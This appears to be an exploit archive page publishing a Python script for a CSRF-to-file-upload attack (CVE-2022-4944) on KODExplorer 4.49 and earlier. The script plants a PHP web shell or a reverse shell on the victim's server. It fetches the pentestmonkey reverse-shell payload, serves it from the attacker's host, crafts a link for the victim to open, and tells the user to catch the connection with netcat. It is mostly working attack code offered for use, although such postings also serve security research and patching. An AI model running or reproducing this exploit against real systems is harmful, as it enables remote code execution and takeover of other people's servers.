what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

KODExplorer 4.49 Cross Site Request Forgery / Shell Upload

KODExplorer 4.49 Cross Site Request Forgery / Shell Upload
Posted Apr 21, 2023
Authored by Mr Empy

KODExplorer versions 4.49 and below suffer from cross site request forgery and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, csrf
advisories | CVE-2022-4944
SHA-256 | 2c24ede0b6c9ade31db524c30505dfd3c2502c034c6ae0b1c0858a97d424c42d

KODExplorer 4.49 Cross Site Request Forgery / Shell Upload

Change Mirror Download
# Exploit Title: KodExplorer <= 4.49 - CSRF to Arbitrary File Upload
# Date: 21/04/2023
# Exploit Author: Mr Empy
# Software Link: https://github.com/kalcaddle/KodExplorer
# Version: <= 4.49
# Tested on: Linux
# References:
# * https://vuldb.com/?id.227000
# * https://www.cve.org/CVERecord?id=CVE-2022-4944
# * https://github.com/MrEmpy/CVE-2022-4944

import argparse
import http.server
import socketserver
import os
import threading
import requests
from time import sleep

def banner():
print('''
_ _____________ _____ _ ______ _____
_____
| | / / _ | _ \ ___| | | | ___ \/ __ \|
___|
| |/ /| | | | | | | |____ ___ __ | | ___ _ __ ___ _ __ | |_/ /| / \/|
|__
| \| | | | | | | __\ \/ / '_ \| |/ _ \| '__/ _ \ '__| | / | | |
__|
| |\ \ \_/ / |/ /| |___> <| |_) | | (_) | | | __/ | | |\ \ | \__/\|
|___
\_| \_/\___/|___/ \____/_/\_\ .__/|_|\___/|_| \___|_| \_| \_|
\____/\____/
| |

|_|

[KODExplorer <= v4.49 Remote Code Executon]
[Coded by MrEmpy]

''')

def httpd():
port = 8080
httpddir = os.path.join(os.path.dirname(__file__), 'http')
os.chdir(httpddir)
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(('', port), Handler)
print('[+] HTTP Server started')
httpd.serve_forever()


def webshell(url, lhost):
payload = '<pre><?php system($_GET["cmd"])?></pre>'
path = '/data/User/admin/home/'

targetpath = input('[*] Target KODExplorer path (ex /var/www/html): ')
wshell_f = open('http/shell.php', 'w')
wshell_f.write(payload)
wshell_f.close()
print('[*] Opening HTTPd port')
th = threading.Thread(target=httpd)
th.start()
print(f'[+] Send this URI to your target:
{url}/index.php?explorer/serverDownload&type=download&savePath={targetpath}/data/User/admin/home/&url=http://
{lhost}:8080/shell.php&uuid=&time=')
print(f'[+] After the victim opens the URI, his shell will be hosted at
{url}/data/User/admin/home/shell.php?cmd=whoami')

def reverseshell(url, lhost):
rvpayload = '
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
'
path = '/data/User/admin/home/'

targetpath = input('[*] Target KODExplorer path (ex /var/www/html): ')
lport = input('[*] Your local port: ')
reqpayload = requests.get(rvpayload).text
reqpayload = reqpayload.replace('127.0.0.1', lhost)
reqpayload = reqpayload.replace('1234', lport)
wshell_f = open('http/shell.php', 'w')
wshell_f.write(reqpayload)
wshell_f.close()
print('[*] Opening HTTPd port')
th = threading.Thread(target=httpd)
th.start()
print(f'[+] Send this URI to your target:
{url}/index.php?explorer/serverDownload&type=download&savePath={targetpath}/data/User/admin/home/&url=http://
{lhost}:8080/shell.php&uuid=&time=')
input(f'[*] Run the command "nc -lnvp {lport}" to receive the
connection and press any key\n')
while True:
hitshell = requests.get(f'{url}/data/User/admin/home/shell.php')
sleep(1)
if not hitshell.status_code == 200:
continue
else:
print('[+] Shell sent and executed!')
break


def main(url, lhost, mode):
banner()
if mode == 'webshell':
webshell(url, lhost)
elif mode == 'reverse':
reverseshell(url, lhost)
else:
print('[-] There is no such mode. Use webshell or reverse')


if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u','--url', action='store', help='target url',
dest='url', required=True)
parser.add_argument('-lh','--local-host', action='store', help='local
host', dest='lhost', required=True)
parser.add_argument('-m','--mode', action='store', help='mode
(webshell, reverse)', dest='mode', required=True)
arguments = parser.parse_args()
main(arguments.url, arguments.lhost, arguments.mode)
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close